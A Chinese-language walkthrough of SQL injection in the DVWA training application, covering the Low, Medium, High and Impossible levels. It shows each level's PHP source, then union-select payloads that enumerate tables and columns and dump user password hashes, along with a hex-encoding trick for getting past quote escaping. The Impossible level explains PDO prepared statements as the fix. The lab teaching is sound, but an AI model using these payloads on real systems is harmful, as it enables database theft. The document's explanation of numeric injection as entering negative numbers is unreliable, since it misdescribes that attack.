SQL Injection,是指攻击者通过注入恶意的SQL命令,破坏SQL查询语句的。结构,从而达到执行恶意SQL语句的目的。

LOW:

代码审计:


SQL Injection Source
vulnerabilities/sqli/source/low.php
<?php
//isset() 用于检查变量是否已设置并且非 NULL。
if( isset( $_REQUEST[ 'Submit' ] ) ) {
    // Get input
    $id = $_REQUEST[ 'id' ];
//在这里没有对我们传进来的参数做任何检查
    switch ($_DVWA['SQLI_DB']) {
        case MYSQL:
            // Check database
            $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
            $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
            // Get results
            while( $row = mysqli_fetch_assoc( $result ) ) {
                // Get values
                $first = $row["first_name"];
                $last  = $row["last_name"];
                // Feedback for end user
                echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
            }
            mysqli_close($GLOBALS["___mysqli_ston"]);
            break;
        case SQLITE:
            global $sqlite_db_connection;
            #$sqlite_db_connection = new SQLite3($_DVWA['SQLITE_DB']);
            #$sqlite_db_connection->enableExceptions(true);
            $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
            #print $query;
            try {
                $results = $sqlite_db_connection->query($query);
            } catch (Exception $e) {
                echo 'Caught exception: ' . $e->getMessage();
                exit();
            }
            if ($results) {
                while ($row = $results->fetchArray()) {
                    // Get values
                    $first = $row["first_name"];
                    $last  = $row["last_name"];
                    // Feedback for end user
                    echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
                }
            } else {
                echo "Error in fetch ".$sqlite_db->lastErrorMsg();
            }
            break;
    }
}
?>

由以上分析我们可以得知我们在注入式应采用字符注入的方式。

注意:

SQL 字符注入是指攻击者通过输入恶意字符来破坏应用程序的 SQL 语句。例如,攻击者可以通过在输入字段中插入单引号或其他特殊字符来欺骗应用程序生成不安全的 SQL 查询。攻击者可以利用这种漏洞来执行恶意的 SQL 代码,例如删除、修改或暴露数据库中的数据。

数字型注入类似于 SQL 字符注入,但攻击者试图输入恶意数字,而不是字符。例如,攻击者可以通过输入负数来欺骗应用程序生成不安全的算术计算。攻击者可以利用这种漏洞来执行恶意代码,例如在应用程序中进行溢出攻击,从而窃取数据。

漏洞利用:

(1)判断字段数。

我们使用order by 进行判断字段数, 至到order by 进行报错时候就是字段数。

1' or 1=1 order by 1 #

1' or 1=1 order by 2 #

1' or 1=1 order by 1 #

由上得知,字段数为2.

(2)确定显示的字段顺序

1' union select 1,2 #

(3)获取当前数据库

1' union select 1,database() #

(4)获取数据库中的表

1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #

得到两张表guestbook,users

(5)获取字段名

1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' #

说明users表中有8个字段,分别是user_id,first_name,last_name,user,password,avatar,last_login,failed_login。

(6)获取数据

1' or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users #

信息获取结束,漏洞利用结束。

Medium:

代码审计:

SQL Injection Source
vulnerabilities/sqli/source/medium.php
<?php if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$id = $_POST[ 'id' ];
//使用 mysqli_real_escape_string() 函数来转义单引号和双引号等特殊字符
$id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id); switch ($_DVWA['SQLI_DB']) {
case MYSQL:
$query = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query) or die( '<pre>' . mysqli_error($GLOBALS["___mysqli_ston"]) . '</pre>' ); // Get results
while( $row = mysqli_fetch_assoc( $result ) ) {
// Display values
$first = $row["first_name"];
$last = $row["last_name"]; // Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
break;
case SQLITE:
global $sqlite_db_connection; $query = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
#print $query;
try {
$results = $sqlite_db_connection->query($query);
} catch (Exception $e) {
echo 'Caught exception: ' . $e->getMessage();
exit();
} if ($results) {
while ($row = $results->fetchArray()) {
// Get values
$first = $row["first_name"];
$last = $row["last_name"]; // Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
} else {
echo "Error in fetch ".$sqlite_db->lastErrorMsg();
}
break;
}
} // This is used later on in the index.php page
// Setting it here so we can close the database connection in here like in the rest of the source scripts
$query = "SELECT COUNT(*) FROM users;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
$number_of_rows = mysqli_fetch_row( $result )[0]; mysqli_close($GLOBALS["___mysqli_ston"]);
?>

同时我们发现在前端页面设置了下拉选择表单,控制用户输入。

漏洞利用:

虽然前端使用了下拉选择菜单,但我们依然可以通过抓包改参数,提交恶意构造的查询参数。

(1)判断注入类型

这里我们其实可以直接做出判断,我们在上面已经进行了代码审计,发现mysqli_real_escape_string()函数的存在,那么字符型注入肯定会遇到问题,我们直接进行数字型注入。

因为前端使用下拉菜单,所以我们得通过抓包修改参数。

(2)猜测字段数,确定回显字段顺序,获取当前数据库,获取数据库中的表

这四部分操作与Low级别差别不大,这里只附上相关语句

1 order by 3 #

1 union select 1,2 #

1 union select 1,database() #

1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #

(3)获取表中字段名

1 union select 1,group_concat(column_name) from information_schema.columns where table_name=’users ’#

我们按照原来的思路构建了语句,但是发生了错误,是因为单引号被转义,所以我们利用十六进制绕过。

1 union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273 #

这里附上脚本

import binascii

input_string = "users"  # 待转换的字符串

# 使用 binascii 模块的 b2a_hex() 函数将字符串转换为十六进制格式
hex_string = binascii.b2a_hex(input_string.encode('utf-8')) print(hex_string) # 输出转换后的十六进制字符串

(4)获取数据

1 or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users #

信息获取结束,漏洞利用结束。

High:

代码审计:

SQL Injection Source
vulnerabilities/sqli/source/high.php
<?php if( isset( $_SESSION [ 'id' ] ) ) {
// Get input
$id = $_SESSION[ 'id' ]; switch ($_DVWA['SQLI_DB']) {
case MYSQL:
// Check database
//LIMIT 1是一个SQL查询中的限制语句,用于指定查询结果集中的最大行数。在这段代码中,它用于限制查询结果只返回一行数据,即根据会话ID获取用户的名字和姓氏。使用LIMT1可以提高查询效率,并避免在查询结果集中返回大量数据
            $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>Something went wrong.</pre>' ); // Get results
while( $row = mysqli_fetch_assoc( $result ) ) {
// Get values
$first = $row["first_name"];
$last = $row["last_name"]; // Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
} ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
break;
case SQLITE:
global $sqlite_db_connection; $query = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
#print $query;
try {
$results = $sqlite_db_connection->query($query);
} catch (Exception $e) {
echo 'Caught exception: ' . $e->getMessage();
exit();
} if ($results) {
while ($row = $results->fetchArray()) {
// Get values
$first = $row["first_name"];
$last = $row["last_name"]; // Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
} else {
echo "Error in fetch ".$sqlite_db->lastErrorMsg();
}
break;
}
} ?>

虽然添加了LIMIT 1,但是我们可以通过#将其注释掉。注入过程和之前类似,在这里不做额外演示。

Impossible:

代码审计:

SQL Injection Source
vulnerabilities/sqli/source/impossible.php
<?php if( isset( $_GET[ 'Submit' ] ) ) {
// Check Anti-CSRF token
//isset()用于检查变量是否已设置并且非 NULL。
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
/*checkToken() 是一个自定义函数,用于检查传递的安全令牌是否有效,以确保请求不是恶意伪造的。
该函数接受三个参数:
user_token:从用户请求中接收的安全令牌。
session_token:存储在用户会话中的安全令牌。
redirect:重定向的页面 URL。
该函数将首先检查 user_token 和 session_token 是否匹配。如果不匹配,则可能是 CSRF 攻击,该函数将终止脚本并打印错误消息。如果匹配,则函数将返回 true。
该函数通常用于处理任何可能受到 CSRF 攻击的操作(例如表单提交)。它是一种常见的安全技术,以确保请求来自预期的来源,并且用户已经授权执行请求的操作。*?
*/
// Get input
$id = $_GET[ 'id' ]; // Was a number entered?
//is_numeric用于检查一个值是否为数字或数字字符串。如果值为数字或数字字符串,则该函数返回 true,否则返回 false。
if(is_numeric( $id )) {
$id = intval ($id);
switch ($_DVWA['SQLI_DB']) {
case MYSQL:
// Check the database
$data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );
$data->bindParam( ':id', $id, PDO::PARAM_INT );
$data->execute();
$row = $data->fetch(); // Make sure only 1 result is returneda
if( $data->rowCount() == 1 ) {
// Get values
$first = $row[ 'first_name' ];
$last = $row[ 'last_name' ]; // Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
break;
case SQLITE:
global $sqlite_db_connection; $stmt = $sqlite_db_connection->prepare('SELECT first_name, last_name FROM users WHERE user_id = :id LIMIT 1;' );
$stmt->bindValue(':id',$id,SQLITE3_INTEGER);
$result = $stmt->execute();
$result->finalize();
if ($result !== false) {
// There is no way to get the number of rows returned
// This checks the number of columns (not rows) just
// as a precaution, but it won't stop someone dumping
// multiple rows and viewing them one at a time. $num_columns = $result->numColumns();
if ($num_columns == 2) {
$row = $result->fetchArray(); // Get values
$first = $row[ 'first_name' ];
$last = $row[ 'last_name' ]; // Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
} break;
}
}
} // Generate Anti-CSRF token
generateSessionToken(); ?>

同时这段代码也使用了PDO技术,划清了代码与数据的界限,有效防御SQL注入,同时只有返回的查询结果数量为一时,才会成功输出,这样就有效预防了“脱裤”,Anti-CSRFtoken机制的加入了进一步提高了安全性。

注:

PDO(PHP数据对象)是一种PHP扩展,它提供了一种抽象方式来访问数据库,而不必依赖于特定的数据库类型。PDO支持多种数据库类型,包括MySQL、SQLite、Oracle、PostgreSQL和SQL Server等。使用PDO可以实现更安全、更可移植和更灵活的数据访问,同时减少了对数据库的具体实现细节的依赖性。

使用PDO时,首先需要定义一个PDO连接对象,它包含有关数据库连接的信息,例如主机名、端口号、数据库名称、用户名和密码等。一旦建立连接,就可以通过执行SQL查询来访问数据库。PDO提供了一组方法来准备和执行查询,并返回结果集对象。可以使用绑定变量来防止SQL注入攻击,并使用PDO事务来确保数据操作的原子性和一致性。

总之,PDO技术提供了一个更安全、更灵活和更可移植的数据库访问解决方案,可以帮助开发人员编写更健壮和可维护的PHP应用程序。

DVWA-SQL Injection(SQL注入)的更多相关文章

  1. Fortify Audit Workbench 笔记 SQL Injection SQL注入

    SQL Injection SQL注入 Abstract 通过不可信来源的输入构建动态 SQL 指令,攻击者就能够修改指令的含义或者执行任意 SQL 命令. Explanation SQL injec ...

  2. DVWA全级别之SQL Injection(SQL注入)

    DVWA全级别之SQL Injection(注入)   DVWA简介 DVWA(Damn Vulnerable Web Application)是一个用来进行安全脆弱性鉴定的PHP/MySQL Web ...

  3. DVWA之SQL Injection

    SQL Injection SQL Injection,即SQL注入,是指攻击者通过注入恶意的SQL命令,破坏SQL查询语句的结构,从而达到执行恶意SQL语句的目的.SQL注入漏洞的危害是巨大的,常常 ...

  4. DVWA系列2:SQL Injection

    DVWA系列2:SQL Injection 前言 SQL 注入是比较常见的攻击类型,之前一直听说过,也尝试看过一些教程,但其中的单引号,字符串拼接等感觉有点抽象,不知道为什么要这么做.这次就使用 DV ...

  5. 新手指南:DVWA-1.9全级别教程之SQL Injection

    *本文原创作者:lonehand,转载须注明来自FreeBuf.COM 目前,最新的DVWA已经更新到1.9版本(http://www.dvwa.co.uk/),而网上的教程大多停留在旧版本,且没有针 ...

  6. Portswigger web security academy:SQL injection

    Portswigger web security academy:SQL injection 目录 Portswigger web security academy:SQL injection SQL ...

  7. 使用sqlmap注入DVWA的SQL Injection菜单

    1 使用sqlmap注入DVWA的SQL Injection菜单 本教程中的登陆地址:http://192.168.0.112/dvwa/login.php 1.1 获取cookie信息 1) 使用a ...

  8. 【DVWA】SQL Injection(SQL 注入)通关教程

    日期:2019-07-28 20:43:48 更新: 作者:Bay0net 介绍: 0x00.基本信息 关于 mysql 相关的注入,传送门. SQL 注入漏洞之 mysql - Bay0net - ...

  9. DVWA(三):SQL injection 全等级SQL注入

    (本文不定期更新) 一.所需环境: 1.DVWA 2.web环境 phpstudy/wamp 3.burp suite 二.SQL注入产生的原因: 程序员在编写代码的时候,没有对用户输入数据的合法性进 ...

  10. DVWA SQL Injection 通关教程

    SQL Injection,即SQL注入,SQLi,是指攻击者通过注入恶意的SQL命令,破坏SQL查询语句的结构,从而达到执行恶意SQL语句的目的.SQL注入漏洞的危害巨大,常常会导致整个数据库被“脱 ...

随机推荐

  1. vue3 微信支付和支付宝支付 H5和微信内置浏览器

    vue3微信支付和支付宝支付 // 判断是否为微信内置浏览器 let browser: any = navigator.userAgent.toLowerCase(); let isWechat: a ...

  2. 如何使用Antd的图片上传组件

    html结构如下 <a-upload v-model:file-list="fileList" //已经上传的文件列表(受控) name="avatar" ...

  3. Ribbit Mq 实现延迟消息

    --------------------好记性不如烂笔头--------------------------- windows 环境,使用 rabbit Mq 需要安装, erl   和  rabbi ...

  4. 数据库负载均衡 happroxy 中间器(Nginx)容器的安装与配置

    docker  镜像中安装haproxy 1.下载并安装haproxy镜像 docker pull happroxy # docker pull haproxy:1.7 2.查看镜像 docker i ...

  5. spring的作用

    Spring能有效地组织你的中间层对象,无论你是否选择使用了EJB.如果你仅仅使用了Struts或其他的包含了J2EE特有API的framework,你会发现Spring关注了遗留下的问题.Sprin ...

  6. Python中RSA的PKCS#1、PKCS#8,MD5加密

    一.Python-RSA RSA库只支持PKCS#1的密钥格式 需要安装第三方库rsa pip install rsa python-rsa官方地址:https://stuvel.eu/python- ...

  7. Linux让部署在服务器上的项目一直保持运行状态…&跑多个项目

    在idea通过package得到的.jar包或者.war包可通过 java -jar xxx.jar/xxx.war 命令直接在linux或者windows系统运行:   将打好包的项目放在linux ...

  8. 图模配置文件之 flow.json

    flow.json文件是用来配置图模导入时,各种不同的图模导入时,分别应该使用哪个映射文件对模型进行处理.在不同地区使用不同的格式的图模文件时,需要修改flow.json中相关的配置,来适应相应的图模 ...

  9. nodejs mongo数据库连接、查询、显示

    初学nodejs,涉及内容太多,总找不到如何能处理数据之间的交换.提取,显示.查找众多资料,终于调试成功,为免遗忘,特记录如下: 安装nodejs,mongo数据库在这里不做记录了. 1.编写serv ...

  10. 3.1命名空间的using声明

    目前为止,我们用到的库函数基本上都属于命名空间std,而程序也显式地将这一点标示了出来.列如,std::cin表示从标准输入中读取内容.此处使用作用域操作符(::)的含义是:编译器应从操作符左侧名字所 ...